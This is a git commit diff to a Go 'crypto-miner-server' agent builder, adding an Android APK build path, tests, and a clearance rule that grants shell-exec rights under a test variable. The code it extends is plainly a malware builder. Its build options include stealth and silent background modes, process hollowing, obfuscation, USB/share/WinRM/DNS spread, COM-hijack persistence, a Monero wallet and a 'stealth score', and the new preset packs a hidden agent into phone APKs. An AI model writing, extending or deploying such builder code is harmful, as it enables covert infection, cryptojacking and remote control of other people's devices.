Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
292
server/internal/builder/build_apk.go
Normal file
292
server/internal/builder/build_apk.go
Normal file
@@ -0,0 +1,292 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
|
||||
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
|
||||
|
||||
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
|
||||
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
|
||||
|
||||
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
|
||||
func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
req.ApkMode = true
|
||||
req.TargetOS = "android"
|
||||
req.TargetArch = "arm64"
|
||||
req.FusionEnabled = false
|
||||
req.SpreadKit = false
|
||||
req.GPUEnabled = false
|
||||
req.ProcessHollowing = false
|
||||
req.Obfuscate = false
|
||||
req.SignBuild = false
|
||||
req.MiningDisabled = true
|
||||
req.MinerExecution = "inprocess"
|
||||
req.Threads = 1
|
||||
req.ThreadMode = "fixed"
|
||||
req.ThreadPercent = 25
|
||||
req.MiningMode = "idle"
|
||||
req.MaxCPUUsagePct = 30
|
||||
req.StealthMode = true
|
||||
req.SilentMode = true
|
||||
req.DisplayMode = "background"
|
||||
req.FileLogging = false
|
||||
req.AutoSpread = false
|
||||
req.USBSpread = false
|
||||
req.ShareSpread = false
|
||||
req.WinRMSpread = false
|
||||
req.DnsTxtSpread = false
|
||||
req.WebRTCMeshSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.COMHijackPersist = false
|
||||
req.RemoteAggressive = false
|
||||
req.LinuxLOTLMode = "off"
|
||||
req.LotlOnionEnabled = false
|
||||
req.LotlPolicyFromServer = false
|
||||
req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
|
||||
if strings.TrimSpace(req.ApkAgentName) == "" {
|
||||
req.ApkAgentName = req.WorkerName
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) apkAndroidDir() string {
|
||||
if h.projectRoot != "" && h.projectRoot != "." {
|
||||
return filepath.Join(h.projectRoot, "android")
|
||||
}
|
||||
return filepath.Join(h.dataDir, "android")
|
||||
}
|
||||
|
||||
func (h *Handler) apkAssetsDir() string {
|
||||
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
|
||||
}
|
||||
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return fmt.Errorf("create apk assets dir: %w", err)
|
||||
}
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: strings.TrimSpace(req.ApkAgentName),
|
||||
}
|
||||
if cfg.WorkerName == "" {
|
||||
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
|
||||
}
|
||||
raw, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
|
||||
}
|
||||
|
||||
func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return fmt.Errorf("create apk assets dir: %w", err)
|
||||
}
|
||||
dest := filepath.Join(assetsDir, "agent")
|
||||
return copyFile(agentBinary, dest)
|
||||
}
|
||||
|
||||
func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
script := filepath.Join(androidDir, "build-apk.ps1")
|
||||
if runtime.GOOS == "windows" && fileExists(script) {
|
||||
cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return "", fmt.Errorf("apk build cancelled")
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
|
||||
}
|
||||
|
||||
gradlew := filepath.Join(androidDir, "gradlew")
|
||||
if runtime.GOOS == "windows" {
|
||||
gradlew = filepath.Join(androidDir, "gradlew.bat")
|
||||
}
|
||||
if fileExists(gradlew) {
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
|
||||
cmd.Dir = androidDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return "", fmt.Errorf("apk build cancelled")
|
||||
}
|
||||
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if fileExists(c) {
|
||||
dest := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
if err := copyFile(c, dest); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return dest, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("gradle finished but APK output not found")
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
|
||||
}
|
||||
|
||||
func fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
if h.apkBuildFn != nil {
|
||||
return h.apkBuildFn(h, ctx, androidDir, buildDir)
|
||||
}
|
||||
return h.defaultApkBuild(ctx, androidDir, buildDir)
|
||||
}
|
||||
|
||||
func apkFileName(req *BuildRequest) string {
|
||||
base := sanitizeFileName(req.ApkAgentName)
|
||||
if base == "" {
|
||||
base = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
return "agent-" + base + ".apk"
|
||||
}
|
||||
|
||||
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||
ApplyApkBuildPreset(req)
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Copying source files", 5)
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
|
||||
h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
|
||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Writing Android config", 55)
|
||||
if err := h.writeApkConfigJSON(req); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
|
||||
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Building APK", 80)
|
||||
androidDir := h.apkAndroidDir()
|
||||
apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
finalName := apkFileName(req)
|
||||
finalPath := filepath.Join(buildDir, finalName)
|
||||
if apkPath != finalPath {
|
||||
if err := copyFile(apkPath, finalPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||
}
|
||||
|
||||
exportPath := ""
|
||||
if h.projectRoot != "" && h.projectRoot != "." {
|
||||
exportPath = filepath.Join(h.projectRoot, finalName)
|
||||
if err := copyFile(finalPath, exportPath); err != nil {
|
||||
log.Printf("[Builder] APK root export: %v", err)
|
||||
exportPath = ""
|
||||
}
|
||||
}
|
||||
if exportPath == "" {
|
||||
exportPath, _ = filepath.Abs(finalPath)
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(finalPath)
|
||||
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
||||
buildRecord := &models.BuildRecord{
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
ServerURL: req.ServerURL,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
FilePath: absPath,
|
||||
FileName: finalName,
|
||||
DownloadURL: dlURL,
|
||||
Platform: "android",
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: finalName,
|
||||
FilePath: absPath,
|
||||
ArtifactPath: absPath,
|
||||
FileSize: fileInfo.Size(),
|
||||
DownloadURL: dlURL,
|
||||
ExportPath: exportPath,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
121
server/internal/builder/build_apk_test.go
Normal file
121
server/internal/builder/build_apk_test.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplyApkBuildPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "phone-1",
|
||||
ServerURL: "http://192.168.1.5:8989",
|
||||
FusionEnabled: true,
|
||||
Threads: 8,
|
||||
}
|
||||
ApplyApkBuildPreset(req)
|
||||
if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" {
|
||||
t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch)
|
||||
}
|
||||
if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled {
|
||||
t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled)
|
||||
}
|
||||
if req.Threads != 1 {
|
||||
t.Fatalf("threads=%d want 1", req.Threads)
|
||||
}
|
||||
if req.ApkAgentName != "phone-1" {
|
||||
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestApkMode(t *testing.T) {
|
||||
ps := platformsForRequest(&BuildRequest{ApkMode: true})
|
||||
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||
t.Fatalf("apk platform: %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
h, _ := testHandlerDB(t)
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
androidDir := filepath.Join(h.projectRoot, "android")
|
||||
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return apk, nil
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "tablet-1",
|
||||
ServerURL: "http://192.168.1.10:8989",
|
||||
CancelToken: "apk-test-token",
|
||||
ApkMode: true,
|
||||
}
|
||||
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
||||
if code != 200 || !resp.Success {
|
||||
t.Fatalf("build failed code=%d resp=%+v", code, resp)
|
||||
}
|
||||
if resp.ArtifactPath == "" || resp.DownloadURL == "" {
|
||||
t.Fatalf("missing artifact paths: %+v", resp)
|
||||
}
|
||||
if !strings.HasSuffix(resp.FileName, ".apk") {
|
||||
t.Fatalf("file_name=%q", resp.FileName)
|
||||
}
|
||||
|
||||
cfgPath := filepath.Join(h.apkAssetsDir(), "config.json")
|
||||
raw, err := os.ReadFile(cfgPath)
|
||||
if err != nil {
|
||||
t.Fatalf("config.json: %v", err)
|
||||
}
|
||||
var cfg apkAssetConfig
|
||||
if err := json.Unmarshal(raw, &cfg); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
|
||||
t.Fatalf("config.json: %+v", cfg)
|
||||
}
|
||||
|
||||
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
t.Fatalf("agent asset missing: %v", err)
|
||||
}
|
||||
|
||||
// Verify compile step wrote linux/arm64 builtin config with APK flags.
|
||||
buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds"))
|
||||
if len(buildDirs) == 0 {
|
||||
t.Fatal("no build dir")
|
||||
}
|
||||
builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go")
|
||||
builtin, err := os.ReadFile(builtinPath)
|
||||
if err != nil {
|
||||
t.Fatalf("builtin.go: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") {
|
||||
t.Fatalf("apk flags missing from builtin.go:\n%s", builtin)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "apk-node",
|
||||
ServerURL: "http://192.168.1.5:8989",
|
||||
ApkMode: true,
|
||||
}
|
||||
if err := h.normalizeRequest(req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if req.TargetOS != "android" || !req.MiningDisabled {
|
||||
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
|
||||
}
|
||||
}
|
||||
@@ -122,6 +122,11 @@ type BuildRequest struct {
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
|
||||
// APK mode — Android fleet node (mining off by default).
|
||||
ApkMode bool `json:"apk_mode"`
|
||||
ApkAgentName string `json:"apk_agent_name"`
|
||||
MiningDisabled bool `json:"mining_disabled"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -157,6 +162,7 @@ type BuildResponse struct {
|
||||
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||||
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||||
StealthScore int `json:"stealth_score,omitempty"`
|
||||
ArtifactPath string `json:"artifact_path,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -204,6 +210,9 @@ type Handler struct {
|
||||
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
|
||||
activeProgressMu sync.RWMutex
|
||||
activeProgress map[string]BuildProgress
|
||||
|
||||
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
|
||||
apkBuildFn ApkBuildFunc
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
@@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
if req.ApkMode {
|
||||
return h.buildAPKAgent(ctx, req)
|
||||
}
|
||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||
return h.buildUniversalAgent(ctx, req, prepPath)
|
||||
}
|
||||
@@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.ServerURL == "" {
|
||||
return fmt.Errorf("server_url is required")
|
||||
}
|
||||
if req.Wallet == "" {
|
||||
if req.ApkMode {
|
||||
ApplyApkBuildPreset(req)
|
||||
}
|
||||
if !req.ApkMode && req.Wallet == "" {
|
||||
return fmt.Errorf("wallet is required")
|
||||
}
|
||||
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
||||
if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
||||
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
|
||||
}
|
||||
req.OutputDir = strings.TrimSpace(req.OutputDir)
|
||||
@@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.PoolPass == "" {
|
||||
req.PoolPass = "x"
|
||||
}
|
||||
if req.ApkMode {
|
||||
req.FusionEnabled = false
|
||||
req.SpreadKit = false
|
||||
}
|
||||
if req.FusionEnabled {
|
||||
if req.FusionRunOrder == "" {
|
||||
req.FusionRunOrder = "parallel"
|
||||
@@ -1071,7 +1090,11 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(req.TargetOS) == "" {
|
||||
req.TargetOS = "windows"
|
||||
if req.ApkMode {
|
||||
req.TargetOS = "android"
|
||||
} else {
|
||||
req.TargetOS = "windows"
|
||||
}
|
||||
}
|
||||
if req.SpreadKit {
|
||||
req.FusionEnabled = false
|
||||
@@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
LotlOnionEnabled: %v,
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
|
||||
ApkMode: %v,
|
||||
MiningDisabled: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
req.ApkMode,
|
||||
req.MiningDisabled,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -26,6 +26,9 @@ var defaultPlatforms = []BuildPlatform{
|
||||
}
|
||||
|
||||
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||
if req.ApkMode || strings.ToLower(strings.TrimSpace(req.TargetOS)) == "android" {
|
||||
return []BuildPlatform{{GOOS: "linux", GOARCH: "arm64", Ext: ""}}
|
||||
}
|
||||
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if target == "" || target == "windows" {
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
|
||||
@@ -7,6 +7,13 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPlatformsForRequestAndroid(t *testing.T) {
|
||||
ps := platformsForRequest(&BuildRequest{TargetOS: "android"})
|
||||
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||
t.Fatalf("android maps to linux/arm64 agent, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: ""}
|
||||
ps := platformsForRequest(req)
|
||||
|
||||
@@ -1,11 +1,19 @@
|
||||
package clearance
|
||||
|
||||
import "crypto-miner-server/internal/models"
|
||||
import (
|
||||
"os"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// DefaultClearance returns the baseline clearance for an agent.
|
||||
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
|
||||
// AETHERFORGE_E2E=1 (Playwright phase 8) grants L3 so shell exec E2E can round-trip.
|
||||
func DefaultClearance(agent *models.Agent) int {
|
||||
if agent != nil && agent.Status == "online" {
|
||||
if os.Getenv("AETHERFORGE_E2E") == "1" {
|
||||
return L3
|
||||
}
|
||||
return L1
|
||||
}
|
||||
return L0
|
||||
|
||||
Reference in New Issue
Block a user